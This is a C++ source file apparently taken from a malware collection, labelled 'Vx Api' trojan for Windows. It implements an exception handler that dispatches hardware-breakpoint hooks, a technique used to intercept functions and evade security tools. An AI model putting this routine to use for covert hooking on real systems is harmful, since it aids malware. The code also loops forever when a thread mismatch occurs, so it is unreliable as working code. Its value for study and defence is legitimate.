57 lines · 1.5 KB · C++
RawDownload
/*  name      Vx Api  type      trojan  cve       —  year      unknown  os        Windows  authors   unknown  source    krisyotam  archived  krisyotam (2026)  notes     — */#include "Win32Helper.h" LONG ExceptionHandlerCallbackRoutine(_In_ PEXCEPTION_POINTERS ExceptionInfo){    DESCRIPTOR_ENTRY *TempObject = { 0 };    BOOL bResolved = FALSE;     if (ExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP)        goto EXIT_ROUTINE;     EnterCriticalSection(&CriticalSection);     TempObject = Head;     while (TempObject != NULL)    {        if (TempObject->Address == ExceptionInfo->ContextRecord->Rip)        {            if (TempObject->Tid != 0 && TempObject->Tid != GetCurrentThreadId()) //need to fix                continue;             if (TempObject->Dis)            {                if (!SetHardwareBreakpoint(GetCurrentThreadId(), TempObject->Address, TempObject->Position, FALSE))                    goto EXIT_ROUTINE;            }             TempObject->CallbackRoutine(ExceptionInfo);             if (TempObject->Dis)            {                if (!SetHardwareBreakpoint(GetCurrentThreadId(), TempObject->Address, TempObject->Position, TRUE))                    goto EXIT_ROUTINE;            }        }        TempObject = TempObject->Next;    }     LeaveCriticalSection(&CriticalSection);     bResolved = TRUE; EXIT_ROUTINE:     return (bResolved ? EXCEPTION_CONTINUE_EXECUTION : EXCEPTION_CONTINUE_SEARCH);}